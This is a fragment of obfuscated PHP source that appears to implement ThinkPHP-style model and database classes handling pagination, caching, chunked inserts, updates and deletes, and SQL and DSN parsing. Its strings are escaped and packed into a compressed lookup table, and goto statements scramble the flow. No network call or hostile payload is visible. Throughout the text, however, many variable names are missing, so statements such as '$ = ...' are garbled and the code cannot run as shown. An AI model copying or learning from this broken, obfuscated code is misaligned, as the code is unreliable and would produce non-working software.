"\146\x75\x6e\x63\164\x69\x6f\x6e"), array("\143\162\145\x61\x74\145\x54\x69\155\145", "\164\151\155\x65", "\151\x6e\163\x65\x72\x74", "\146\165\x6e\x63\164\x69\x6f\x6e")); public function setDataAuto($ϙ) { $this->dataAuto = $ϙ; } public function __construct($ˀ = '', $ = '', $ = '') { parent::__construct($ˀ, $, $); } protected $tableMeta = array(); protected function _beforeInsert(&$߁, $) { $ =& $_SERVER[]; if (!$this->checkDataAutoHas($[355])) { return; } $this->dataBeforeFilter($߁, $[355]); } protected function _beforeUpdate(&$, $ɠ) { $Þͻ =& $_SERVER[]; if (!$this->checkDataAutoHas($Þͻ[356])) { return; } $this->dataBeforeFilter($, $Þͻ[356]); } protected function _afterSelect(&$ǻ܂, $ٷɰ) { if (!is_array($ǻ܂)) { return; } if (!$this->checkDataAutoHas($_SERVER[][357])) { return; } foreach ($ǻ܂ as &$) { $this->dataAfterFilter($); } unset($); } protected function _afterFind(&$, $©) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[][357])) { return; } $this->dataAfterFilter($); } public static function textEncode($ԁ) { if (!$ԁ) { return $ԁ; } $虜 = json_encode($ԁ); $虜 = preg_replace_callback($_SERVER[][358], function ($ڤ) { return addslashes($ڤ[0]); }, $虜); return json_decode($虜); } public static function textDecode($أԙ) { $ =& $_SERVER[]; $µ = json_encode($أԙ); $µ = preg_replace_callback($[359], function ($ޤ) { return $_SERVER[][97]; }, $µ); return json_decode($µ); } public function setAutoIncrement($) { $Ƣ = array($this->getPk() => $); $ = $this->data($Ƣ)->add(); if ($) { $this->delete($); } } public function getAutoIncrement() { $ۻ = $this->getTableName(); $͔ = $this->max($this->getPk()); $ч = $this->query("\163\150\157\x77\x20\164\141\142\154\x65\x20\x73\x74\141\x74\x75\x73\x20\x77\150\145\162\145\x20\x4e\141\155\145\x3d\x27{$ۻ}\47"); $Ζ = $ч[0][$_SERVER[][360]]; $ُ = max($͔, $Ζ); return $ُ; } protected function _callBefore($ҽ, $ה) { return $this->cacheCallCheck($ҽ, $ה, !1); } protected function _callAfter($, $DZ) { return $this->cacheCallCheck($, $DZ, !0); } protected function cacheFunctionAlias($ׄ) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($, $̯, $袝 = false) { $ŕ = $this->cacheFunctionAlias($̯); if (!$ŕ) { return; } foreach ($ŕ as $ => $ص) { $ = $ص[0]; $ = explode($_SERVER[][50], $ص[1]); if ($ == $) { return $this->cacheFunctionGet($, $); } if ($袝 && in_array($, $)) { $this->cacheFunctionClear($, $); } } } public function cacheFunctionGet($霰, $) { $ = $this->cacheKeyMake($霰, $); $˽ү = Cache::get($); if (!is_array($˽ү)) { $˽ү = call_user_func_array(array($this, $霰), array($, !0)); Cache::set($, $˽ү); } return $˽ү; } public function cacheFunctionClear($, $۽) { $ = $۽; if (!is_array($۽)) { $ = array($۽); } foreach ($ as $Ѫ) { $ = $this->cacheKeyMake($, $Ѫ); Cache::remove($); } } private function cacheKeyMake($꺰, $߈) { $ =& $_SERVER[]; return get_class($this) . $[11] . $꺰 . $[361] . $߈; } protected function selectPageReset() { $ű =& $_SERVER[]; if (isset($GLOBALS[$ű[362]])) { return; } $GLOBALS[$ű[362]] = isset($GLOBALS[$ű[7]][$ű[363]]) ? $GLOBALS[$ű[7]][$ű[363]] : !1; $GLOBALS[$ű[364]] = isset($GLOBALS[$ű[7]][$ű[353]]) ? $GLOBALS[$ű[7]][$ű[353]] : !1; $GLOBALS[$ű[7]][$ű[363]] = !1; $GLOBALS[$ű[7]][$ű[353]] = !1; } protected function selectPageRestore() { $ =& $_SERVER[]; if (!isset($GLOBALS[$[362]])) { return; } $GLOBALS[$[7]][$[363]] = $GLOBALS[$[362]]; $GLOBALS[$[7]][$[353]] = $GLOBALS[$[364]]; if ($GLOBALS[$[7]][$[363]] === !1) { unset($GLOBALS[$[7]][$[363]]); } if ($GLOBALS[$[7]][$[353]] === !1) { unset($GLOBALS[$[7]][$[353]]); } unset($GLOBALS[$[362]]); unset($GLOBALS[$[364]]); } protected function selectPage($Ɗ = 200, $ӳ = 1) { $Ռ =& $_SERVER[]; global $in; $ = $this->optionsValue(); $ = 50000; $Ɗ = isset($in[$Ռ[363]]) && $in[$Ռ[363]] ? $in[$Ռ[363]] : $Ɗ; if ($Ɗ === -1) { $in[$Ռ[363]] = !1; $ = 100000000; $Ɗ = $; } $ċ = $; $ċ[$Ռ[365]] = array(); $Ɗ = intval($Ɗ); $Ɗ = $Ɗ <= 5 ? 5 : ($Ɗ >= $ ? $ : $Ɗ); $ӳ = intval(isset($in[$Ռ[353]]) && $in[$Ռ[353]] ? $in[$Ռ[353]] : $ӳ); $ӳ = $ӳ <= 1 ? 1 : $ӳ; $ = array(); $H = 1; if ($ӳ == 1 && $H) { $this->optionsValue($); $ = $this->page($ӳ, $Ɗ)->select(); $Ǔ = is_array($) ? count($) : 0; if ($Ǔ < $Ɗ) { $ = 1; } else { $this->optionsValue($ċ); $Ǔ = intval($this->count()); $ = ceil($Ǔ / $Ɗ); } } else { $this->optionsValue($ċ); $Ǔ = intval($this->count()); $ = ceil($Ǔ / $Ɗ); $ӳ = $ӳ >= $ ? $ : $ӳ; $this->optionsValue($); $ = $this->page($ӳ, $Ɗ)->select(); } if (!is_array($)) { $ = array(); } if ($ == 1) { $Ǔ = count($); } $κ = array($Ռ[366] => array($Ռ[367] => $Ǔ, $Ռ[363] => $Ɗ, $Ռ[353] => $ӳ, $Ռ[368] => $), $Ռ[369] => $); return $κ; } protected function checkLength($, $ϓ = 0, $ = '') { $Ԗ =& $_SERVER[]; $ϓ = $ϓ ? $ϓ : 65536; if (!$ || strlen($) < $ϓ) { return; } $ = $ ? $ . $Ԗ[71] : $Ԗ[12]; show_json($ . LNG($Ԗ[370]) . "\x28{$ϓ}\51", !1); } protected function metaSet($ϳ, $ = null, $ = null) { $ =& $_SERVER[]; if (!$this->tableMeta || !$ϳ) { return !1; } $Ԙ = $this->tableMeta[$[371]]; $Òё = $this->tableMeta[$[372]]; $ŝ = Model($Òё); $ = array($Ԙ => $ϳ, $[373] => $); if (is_null($)) { return $ŝ->where(array($Ԙ => $ϳ))->delete(); } if (is_null($) && is_string($)) { return $ŝ->where($)->delete(); } $Ꞷ = is_array($) ? $ : array(); if (is_string($)) { $Ꞷ[$] = $; } $⸞ = array(); foreach ($Ꞷ as $ => $) { if (is_null($) && is_string($)) { $ŝ->where(array($Ԙ => $ϳ, $[373] => $))->delete(); continue; } $this->checkLength($, !1, $Òё . $[4] . $); $⸞[] = array($Ԙ => $ϳ, $[94] => $, $[374] => $); } $۩̪ = $[375] . $Òё; CacheLock::lock($۩̪); $ŝ->where(array($Ԙ => $ϳ))->addAll($⸞, array(), !0); CacheLock::unlock($۩̪); return !0; } public function metaGet($ֶ, $ߙة = false) { $ =& $_SERVER[]; if (!$this->tableMeta) { return array(); } $ = $this->tableMeta[$[371]]; $ = Model($this->tableMeta[$[372]]); if ($ߙة) { $荎 = array($ => $ֶ, $[94] => $ߙة); return $->where($荎)->getField($[374]); } $荎 = array($ => $ֶ); $܆ = $->field($[376])->where($荎)->select(); $܆ = array_to_keyvalue($܆, $[94], $[374]); return $܆; } private function checkDataAutoHas($) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $) { if (in_array($, explode($_SERVER[][50], $[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$Ծ, $Ƙ) { $ڂ =& $_SERVER[]; if (!is_array($Ծ)) { return; } foreach ($this->dataAuto as $փ֭) { $Ǽ = $փ֭[0]; if (!in_array($Ƙ, explode($ڂ[50], $փ֭[2]))) { continue; } switch (trim($փ֭[3])) { case $ڂ[321]: case $ڂ[322]: $ = $փ֭[1]; $ž = isset($փ֭[4]) ? (array) $փ֭[4] : array(); if ($ == $ڂ[203] && array_key_exists($Ǽ, $Ծ)) { if (!$Ծ[$Ǽ]) { unset($Ծ[$Ǽ]); } break; } if (isset($Ծ[$Ǽ])) { array_unshift($ž, $Ծ[$Ǽ]); } if ($ڂ[321] == $փ֭[3]) { $Ծ[$Ǽ] = call_user_func_array($, $ž); } else { $Ծ[$Ǽ] = call_user_func_array(array(&$this, $), $ž); } break; case $ڂ[270]: if (isset($Ծ[$Ǽ]) && $Ծ[$Ǽ]) { $Ծ[$Ǽ] = call_user_func_array(array(&$this, $փ֭[1]), array($Ծ[$Ǽ])); } break; case $ڂ[273]: $Ծ[$Ǽ] = $Ծ[$փ֭[1]]; break; case $ڂ[294]: if (isset($Ծ[$Ǽ]) && !is_string($Ծ[$Ǽ])) { $Ծ[$Ǽ] = json_encode_force($Ծ[$Ǽ]); } break; case $ڂ[323]: if ($Ծ[$Ǽ] === $ڂ[12]) { unset($Ծ[$Ǽ]); } break; case $ڂ[324]: $Ծ[$Ǽ] = $փ֭[1]; default: break; } } if ($Ƙ == $ڂ[355]) { $ڛ = strtolower($this->db->getDbType()); if (strpos($ڛ, $ڂ[13]) !== 0) { return; } $➞Ư = $this->field(!0)->fields; $Ջ = $➞Ư[$ڂ[252]]; if (isset($➞Ư[$ڂ[251]])) { unset($Ջ[$➞Ư[$ڂ[251]]]); } foreach ($Ջ as $ލ => $Ƙ) { if (!isset($Ծ[$ލ])) { $Ծ[$ލ] = $ڂ[12]; } } } } private function dataAfterFilter(&$֓) { $ =& $_SERVER[]; foreach ($this->dataAuto as $) { $߿ = $[0]; if (!isset($֓[$߿])) { continue; } if (!in_array($[357], explode($[50], $[2]))) { continue; } switch (trim($[3])) { case $[321]: case $[322]: $ϛß = isset($[4]) ? (array) $[4] : array(); array_unshift($ϛß, $֓[$߿]); if (isset($[4]) && $[4] == $[377]) { $ϛß = array($֓[$߿]); } if ($[321] == $[3]) { $֓[$߿] = call_user_func_array($[1], $ϛß); } else { $֓[$߿] = call_user_func_array(array(&$this, $[1]), $ϛß); } break; case $[270]: if (isset($֓[$߿]) && $֓[$߿]) { $֓[$߿] = call_user_func_array(array(&$this, $[1]), array($֓[$߿])); } break; case $[273]: $֓[$߿] = $֓[$[1]]; break; case $[294]: $Ϻ = $֓[$߿]; $֓[$߿] = json_decode($Ϻ, !0); if (is_null($֓[$߿])) { $֓[$߿] = $Ϻ; } break; case $[323]: if ($֓[$߿] === $[12]) { unset($֓[$߿]); } break; case $[324]: $֓[$߿] = $[1]; break; default: break; } } } public function saveAll($̥) { $Ê =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; $ñ = self::SQL_WHERE_IN_CHUNK; $̥ = is_array($̥) ? $̥ : array(); $ėъ = $Ê[378]; $ = 0; $û = array(); $ח = count($̥); for ($Ø = 0; $Ø < $ח; $Ø++) { $ = $̥[$Ø]; if (!is_array($) || count($) != 4) { continue; } $ȩ = "\125\120\104\x41\124\105\x20\140{$}\140\x20\123\x45\124\40{$[2]}\x20\75\40\x43\x41\x53\x45\x20{$[0]}\x20\xa"; if ($ == 0) { $ėъ = $ȩ; } $û[] = $Ê[118] . $[1] . $Ê[118]; $++; $ėъ .= "\40\127\x48\x45\116\x20\47{$[1]}\x27\40\124\110\105\x4e\x20\x27{$[3]}\47\x20\xa"; if ($ == $ñ || $Ø == $ח - 1) { $ͅ = implode($Ê[50], $û); $ėъ .= "\40\x45\x4e\x44\40\x20\x57\x48\x45\122\x45\40{$[0]}\40\x49\116\40\50{$ͅ}\51\40"; $this->execute($ėъ); $ = 0; $ėъ = $ȩ; $this->chunkEventCheck(count($û)); $û = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $㛽 =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; foreach ($ as $սʚ) { if (!is_array($սʚ) || count($սʚ) != 4) { continue; } $µ = $սʚ[0] . $㛽[379] . $սʚ[1] . $㛽[118]; $ = $սʚ[2] . $㛽[379] . $սʚ[3] . $㛽[118]; $ = "\x75\160\144\141\x74\x65\40{$}\40\x73\145\164\x20{$}\40\x77\150\145\x72\x65\40{$µ}\73"; $this->execute($); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ = false, $ = false) { $this->_chunkEvent = $; $this->_chunkEventParam = $; } private function chunkEventCheck($) { if (!$this->_chunkEvent) { return; } $ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $[$_SERVER[][380]] = $; Hook::trigger($this->_chunkEvent, $); } public function addAll($ڢ, $֚ = array(), $ݮ = false) { $ķ =& $_SERVER[]; ignore_timeout(); $ = self::SQL_WHERE_IN_CHUNK; if (empty($ڢ)) { $this->error = think_lang($ķ[271]); return !1; } $֚ = $this->_parseOptions($֚); foreach ($ڢ as $ => $ǣ) { $ڢ[$] = $this->_facade($ǣ); $this->_beforeInsert($ڢ[$], $֚); } if (method_exists($this->db, $ķ[272])) { for ($ז = 0; $ז < count($ڢ); $ז += $) { $ȫ = array_slice($ڢ, $ז, $); if (!is_array($ȫ) || count($ȫ) == 0) { break; } $ = $this->db->insertAll($ȫ, $֚, $ݮ); $this->chunkEventCheck(count($ȫ)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ڢ as $ => $ǣ) { $ = $this->db->insert($ǣ, $֚, $ݮ); } $this->commit(); } if (!1 !== $) { $֜ = $this->getLastInsID(); if ($֜) { return $֜; } } return $; } public function save($ֈ = '', $Lj = array()) { $ =& $_SERVER[]; $ϙ = self::SQL_WHERE_IN_CHUNK; $ɋ = $this->optionsValue(); $㒸 = $this->findWhereField($ɋ); if (!$㒸) { return parent::save($ֈ, $Lj); } $ = 0; $͝ = $ɋ[$[275]][$㒸][1]; $͝ = is_array($͝) ? $͝ : array(); $ָ = count($͝); for ($ = 0; $ < $ָ; $ += $ϙ) { $ = array_slice($͝, $, $ϙ); if (!is_array($) || count($) == 0) { break; } $ɋ[$[275]][$㒸][1] = $; $this->optionsValue($ɋ); $ += parent::save($ֈ, $Lj); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); return $; } public function add($孫 = '', $ϲЊ = array(), $ȍ = false) { if ($this->addTaskStatus && is_array($孫)) { $this->addTaskData[] = $孫; return; } return parent::add($孫, $ϲЊ, $ȍ); } public function parseWhereLike($, $ = '', $ = false, &$ = false) { $ᇩ =& $_SERVER[]; $ഐ = $GLOBALS[$ᇩ[6]][$ᇩ[381]]; if (!$ഐ[$ᇩ[382]]) { return $; } if (!is_array($)) { return $; } $ = array(); $ = 0; foreach ($ as $ => $܊) { if (is_array($܊) && count($܊) == 2 && $܊[0] == $ᇩ[383] && is_string($܊[1]) && substr($܊[1], 0, 1) == $ᇩ[384] && substr($܊[1], strlen($܊[1]) - 1, 1) == $ᇩ[384]) { $ = !0; $ = is_string($) ? $ : $; $ = substr($܊[1], 1, strlen($܊[1]) - 2); $ = $this->db->escapeString($); if (!strpos($, $ᇩ[10])) { $ = $ᇩ[385] . $ . $ᇩ[385]; } $ɺ = $ᇩ[188] . $ . $ᇩ[188]; $ = str_replace(array($ᇩ[10], $ᇩ[386], $ᇩ[11]), $ᇩ[387], $); if ($ഐ[$ᇩ[388]]) { $ɺ = $ᇩ[389] . $ . $ᇩ[390]; if ($ഐ[$ᇩ[391]]) { $ɺ = $ᇩ[390] . $ . $ᇩ[389]; } } $[$] = $ᇩ[392] . $ . $ᇩ[393] . $ɺ . $ᇩ[394]; $++; continue; } if (is_array($܊)) { $ = is_string($) ? $ : $; $܊ = $this->parseWhereLike($܊, $, !0, $); } if (is_numeric($)) { $[$] = $܊; $++; } else { $[$] = $܊; } } if ($ && !$) { } return $; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($ù = array()) { $ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $둺 = $this->optionsValue(); $ = $this->findWhereField($둺); if (!$ || isset($둺[$[292]]) || isset($둺[$[353]])) { return parent::select($ù); } $َ = $둺[$[275]][$][1]; $َ = is_array($َ) ? $َ : array(); $é = null; for ($ = 0; $ < count($َ); $ += $) { $Ⱦ = array_slice($َ, $, $); if (!is_array($Ⱦ) || count($Ⱦ) == 0) { break; } $둺[$[275]][$][1] = $Ⱦ; $this->optionsValue($둺); $ߨ = parent::select($ù); if (!$ߨ) { continue; } $é = is_array($é) ? $é : array(); $é = array_merge($é, $ߨ); } return $é; } public function delete($ԟ = array()) { $͑ =& $_SERVER[]; $ŕ = self::SQL_WHERE_IN_CHUNK; $ߟ = $this->optionsValue(); $ = $this->findWhereField($ߟ); if (!$) { return parent::delete($ԟ); } $ = 0; $ꯚ = $ߟ[$͑[275]][$][1]; $ꯚ = is_array($ꯚ) ? $ꯚ : array(); for ($ = 0; $ < count($ꯚ); $ += $ŕ) { $ϝ = array_slice($ꯚ, $, $ŕ); if (!is_array($ϝ) || count($ϝ) == 0) { break; } $ߟ[$͑[275]][$][1] = $ϝ; $this->optionsValue($ߟ); $ += parent::delete($ԟ); } return $; } private function findWhereField($ݩ) { $݁ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; if (!is_array($ݩ) || !is_array($ݩ[$݁[275]])) { return !1; } foreach ($ݩ[$݁[275]] as $Þ => $Щ) { if (is_array($Щ) && isset($Щ[0]) && is_string($Щ[0]) && strtolower($Щ[0]) == $݁[7] && is_array($Щ[1]) && count($Щ[1]) > $) { ignore_timeout(); return $Þ; } } return !1; } public function setMasterDB($ = true) { think_config($_SERVER[][395], $); } } class ModelBaseLight { public $optionType = ''; public $modelType = "\x53\171\163\x74\145\x6d\117\160\x74\x69\x6f\156"; public $field = array(); public function listData($̤Ꙫ = false, $ = "\155\x6f\144\x69\146\x79\124\x69\155\x65", $ɘ = false) { $ө = Model($this->modelType)->get(!1, $this->optionType, !0); $ = array_values($ө); if ($ && $[0] && !is_array($[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ө = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$ө) { return $̤Ꙫ ? null : array(); } if (!$̤Ꙫ) { $ө = array_filter(array_values($ө)); return array_sort_by($ө, $, $ɘ); } return $ө[$_SERVER[][396] . $̤Ꙫ]; } public function insert($赶) { $滓 =& $_SERVER[]; $赶 = array_field_key($赶, $this->field); $ = Model($this->modelType)->get($滓[397], $this->optionType . $滓[398]); $ = $ ? $ : 0; $赶[$滓[399]] = ++$; $赶[$滓[200]] = time(); $赶[$滓[85]] = time(); Model($this->modelType)->set($滓[397], $, $this->optionType . $滓[398]); Model($this->modelType)->set($滓[396] . $, $赶, $this->optionType); return $; } public function update($, $֎) { $ه =& $_SERVER[]; $֎ = array_field_key($֎, $this->field); $ = $this->listData($); if (!$ || !$) { return !1; } $֎ = array_merge($, $֎); $֎[$ه[85]] = time(); return Model($this->modelType)->set($ه[396] . $, $֎, $this->optionType); } public function remove($) { if (!$) { return !1; } return Model($this->modelType)->remove($_SERVER[][396] . $, $this->optionType); } public function clear() { $֠ =& $_SERVER[]; Model($this->modelType)->remove($֠[397], $this->optionType . $֠[398]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($Ȑ, $ŋ) { if (!$ŋ) { return !1; } $ؽ = $this->listData(); $ؽ = array_to_keyvalue($ؽ, $Ȑ); return isset($ؽ[$ŋ]) ? $ؽ[$ŋ] : !1; } public function findByName($Ӛ) { return $this->findByKey($_SERVER[][32], $Ӛ); } protected function resetData($) { $ =& $_SERVER[]; $ = is_array($) ? $ : array(); $ε = array(); for ($Ωڻ = 0; $Ωڻ < count($); $Ωڻ++) { $ε[$[396] . $[$Ωڻ][$[399]]] = $[$Ωڻ]; } return Model($this->modelType)->set($ε, !1, $this->optionType); } private function getAutoName($ܚ︫) { $Տ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if (!$Տ || !isset($Տ[$ܚ︫])) { return $ܚ︫; } for ($杯 = 1; $杯 < count($Տ); $杯++) { $ = $ܚ︫ . "\50{$杯}\51"; if (!isset($Տ[$])) { return $; } } return $; } } goto D; b: $_SERVER[] = explode($_SERVER[][616], gzinflate(substr($_SERVER[][617], 10, -8))); $uygjmopetr = $_SERVER[][618]; if (!$uygjmopetr) { return; } goto BԆ; f: class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\137\164\x68\151\156\x6b\x5f"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\145\161" => "\x3d", "\x6e\x65\x71" => "\74\x3e", "\x67\x74" => "\76", "\145\x67\x74" => "\x3e\x3d", "\154\164" => "\74", "\145\x6c\x74" => "\74\x3d", "\x6e\x6f\164\154\x69\x6b\x65" => "\x4e\x4f\x54\x20\114\x49\113\x45", "\x6c\x69\x6b\145" => "\x4c\111\113\x45", "\x69\156" => "\x49\116", "\156\x6f\164\x69\156" => "\116\117\x54\40\111\x4e", "\x6e\x6f\164\x20\x69\x6e" => "\x4e\x4f\124\x20\111\116", "\142\x65\x74\167\145\x65\156" => "\102\105\124\127\x45\x45\x4e", "\x6e\157\164\142\x65\x74\167\145\x65\x6e" => "\x4e\x4f\124\x20\x42\x45\x54\127\x45\105\116", "\x6e\157\x74\x20\x62\x65\164\167\x65\x65\x6e" => "\116\117\124\x20\x42\105\124\x57\105\105\116"); protected $selectSql = "\123\x45\x4c\105\x43\124\x25\104\x49\123\x54\111\x4e\x43\124\45\x20\45\106\111\x45\114\104\45\40\106\x52\x4f\115\x20\45\x54\101\x42\114\x45\45\45\112\117\111\x4e\45\x25\x57\110\x45\x52\105\45\45\107\122\117\x55\x50\45\x25\110\101\126\111\x4e\x47\45\45\117\122\x44\105\x52\45\45\x4c\111\x4d\111\x54\45\x20\45\125\116\111\117\116\x25\45\103\117\115\x4d\105\116\x54\45"; protected $bind = array(); public static function getInstance() { $͔ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[][967], $͔); } public function factory($۽ = '') { $ =& $_SERVER[]; $۽ = $this->parseConfig($۽); if (empty($۽[$[968]])) { think_exception(think_lang($[969])); } $this->dbType = ucwords(strtolower($۽[$[968]])); $Κ = $[970] . $this->dbType; if (class_exists($Κ)) { $썆 = new $Κ($۽); if ($[971] != strtolower($۽[$[968]])) { $썆->dbType = strtoupper($this->dbType); } else { $썆->dbType = $this->_getDsnType($۽[$[923]]); } } else { think_exception(think_lang($[972]) . $[973] . $Κ); } return $썆; } public function __call($ަ, $) { if (method_exists($this, $ަ)) { return call_user_func_array(array($this, $ަ), $); } } protected function _getDsnType($) { $泥 = explode($_SERVER[][4], $); $ = strtoupper(trim($泥[0])); return $; } private function parseConfig($ = '') { $ =& $_SERVER[]; if (!empty($) && is_string($)) { $ = $this->parseDSN($); } elseif (is_array($)) { $ = array_change_key_case($); $ = array($[968] => $[$[974]], $[895] => $[$[975]], $[896] => $[$[976]], $[893] => $[$[977]], $[894] => $[$[978]], $[21] => $[$[979]], $[923] => $[$[980]], $[17] => isset($[$[981]]) ? $[$[981]] : array()); } elseif (empty($)) { if (think_config($[982]) && $[971] != strtolower(think_config($[983]))) { $ = $this->parseDSN(think_config($[982])); } else { $ = array($[968] => think_config($[983]), $[895] => think_config($[984]), $[896] => think_config($[985]), $[893] => think_config($[986]), $[894] => think_config($[987]), $[21] => think_config($[246]), $[923] => think_config($[982]), $[17] => think_config($[988])); } } return $; } protected function initConnect($ڿ = true) { if (1 == think_config($_SERVER[][22])) { $this->_linkID = $this->multiConnect($ڿ); } else { if ($this->config) { $this->configLast = $this->config; } } if (!$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $ՠ) { $this->_linkID = $ՠ; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($߹ = false) { $Ñ =& $_SERVER[]; static $ݞ = array(); static $廫 = -1; if (empty($ݞ)) { foreach ($this->config as $ => $߷) { $ݞ[$] = explode($Ñ[50], $߷); } } if (think_config($Ñ[989])) { if ($߹ || think_config($Ñ[395]) === !0) { $ځ = floor(mt_rand(0, think_config($Ñ[990]) - 1)); $廫 = $ځ; } else { if (is_numeric(think_config($Ñ[991]))) { $ځ = think_config($Ñ[991]); } else { $ځ = floor(mt_rand(think_config($Ñ[990]), count($ݞ[$Ñ[893]]) - 1)); } } } else { $ځ = floor(mt_rand(0, count($ݞ[$Ñ[893]]) - 1)); $廫 = $ځ; } $ځ = $廫 !== -1 ? $廫 : $ځ; $ߘ = array($Ñ[895] => isset($ݞ[$Ñ[895]][$ځ]) ? $ݞ[$Ñ[895]][$ځ] : $ݞ[$Ñ[895]][0], $Ñ[896] => isset($ݞ[$Ñ[896]][$ځ]) ? $ݞ[$Ñ[896]][$ځ] : $ݞ[$Ñ[896]][0], $Ñ[893] => isset($ݞ[$Ñ[893]][$ځ]) ? $ݞ[$Ñ[893]][$ځ] : $ݞ[$Ñ[893]][0], $Ñ[894] => isset($ݞ[$Ñ[894]][$ځ]) ? $ݞ[$Ñ[894]][$ځ] : $ݞ[$Ñ[894]][0], $Ñ[21] => isset($ݞ[$Ñ[21]][$ځ]) ? $ݞ[$Ñ[21]][$ځ] : $ݞ[$Ñ[21]][0], $Ñ[923] => isset($ݞ[$Ñ[923]][$ځ]) ? $ݞ[$Ñ[923]][$ځ] : $ݞ[$Ñ[923]][0], $Ñ[17] => isset($ݞ[$Ñ[17]][$ځ]) ? $ݞ[$Ñ[17]][$ځ] : $ݞ[$Ñ[17]][0]); return $this->connect($ߘ, $ځ); } public function parseDSN($㧊) { $ԙ =& $_SERVER[]; if (empty($㧊)) { return !1; } $ = parse_url($㧊); if ($[$ԙ[180]]) { $ = array($ԙ[968] => $[$ԙ[180]], $ԙ[895] => isset($[$ԙ[600]]) ? $[$ԙ[600]] : $ԙ[12], $ԙ[896] => isset($[$ԙ[992]]) ? $[$ԙ[992]] : $ԙ[12], $ԙ[893] => isset($[$ԙ[181]]) ? $[$ԙ[181]] : $ԙ[12], $ԙ[894] => isset($[$ԙ[182]]) ? $[$ԙ[182]] : $ԙ[12], $ԙ[21] => isset($[$ԙ[84]]) ? substr($[$ԙ[84]], 1) : $ԙ[12]); } else { preg_match($ԙ[993], trim($㧊), $Ӈ); $ = array($ԙ[968] => $Ӈ[1], $ԙ[895] => $Ӈ[2], $ԙ[896] => $Ӈ[3], $ԙ[893] => $Ӈ[4], $ԙ[894] => $Ӈ[5], $ԙ[21] => $Ӈ[6]); } $[$ԙ[923]] = $ԙ[12]; return $; } protected function debug() { $Њ =& $_SERVER[]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $Њ[994]; if (think_config($Њ[995])) { think_status($Њ[996]); think_trace($this->queryStr . $Њ[997] . think_status($Њ[24], $Њ[996], 6) . $Њ[998], $Њ[12], $Њ[999]); } } protected function parseLock($ = false) { $ =& $_SERVER[]; if (!$) { return $[12]; } if ($[925] == $this->dbType) { return $[1000]; } return $[1001]; } protected function parseSet($З) { $ =& $_SERVER[]; foreach ($З as $ => $̃) { if (is_array($̃) && $[297] == $̃[0]) { $[] = $this->parseKey($) . $[891] . $̃[1]; } elseif (is_scalar($̃) || is_null($̃)) { $[] = $this->parseKey($) . $[891] . $this->parseValue($̃); } } return $[1002] . implode($[50], $); } protected function bindParam($چ, $Ƅ) { $this->bind[$_SERVER[][4] . $چ] = $Ƅ; } protected function parseBind($) { $ = array_merge($this->bind, $); $this->bind = array(); return $; } function parseKey(&$, $ = true) { if ($) { $ = $this->parseKeyCheck($); } return $; } function parseKeyCheck($Ȣ) { $ =& $_SERVER[]; $Ȣ = trim($Ȣ); if (!preg_match($[1003], $Ȣ)) { think_exception($[1004] . $Ȣ); } return $Ȣ; } protected function parseValue($ٶ) { $ =& $_SERVER[]; if (is_string($ٶ)) { $ٶ = $[964] . $this->escapeString($ٶ) . $[964]; } elseif (isset($ٶ[0]) && is_string($ٶ[0]) && strtolower($ٶ[0]) == $[297]) { $ٶ = $this->escapeString($ٶ[1]); } elseif (is_array($ٶ)) { $ٶ = array_map(array($this, $[965]), $ٶ); } elseif (is_bool($ٶ)) { $ٶ = $ٶ ? $[88] : $[197]; } elseif (is_null($ٶ)) { $ٶ = $[103]; } return $ٶ; } protected function parseField($Ȓ) { $Ū =& $_SERVER[]; if (is_string($Ȓ) && strpos($Ȓ, $Ū[50])) { $Ȓ = explode($Ū[50], $Ȓ); } if (is_array($Ȓ)) { $ћ = array(); foreach ($Ȓ as $ɫ => $) { if (!is_numeric($ɫ)) { $ћ[] = $this->parseKey($ɫ, !1) . $Ū[1005] . $this->parseKey($); } else { $ћ[] = $this->parseKey($); } } $ܾ߭ = implode($Ū[50], $ћ); } elseif (is_string($Ȓ) && !empty($Ȓ)) { $ܾ߭ = $Ȓ; } else { $ܾ߭ = $Ū[188]; } return $ܾ߭; } protected function parseTable($ڮ) { $ސ =& $_SERVER[]; if (is_array($ڮ)) { $NJϴ = array(); foreach ($ڮ as $ => $䂃) { if (!is_numeric($)) { $NJϴ[] = $this->parseKey($) . $ސ[53] . $this->parseKey($䂃); } else { $NJϴ[] = $this->parseKey($); } } $ڮ = $NJϴ; } elseif (is_string($ڮ)) { if (strstr($ڮ, $ސ[53])) { return $ڮ; } $ڮ = explode($ސ[50], $ڮ); array_walk($ڮ, array($this, $ސ[913])); } return $ސ[907] . trim(implode($ސ[1006], $ڮ), $ސ[385]) . $ސ[907]; } protected function parseWhere($Ζ) { $ =& $_SERVER[]; 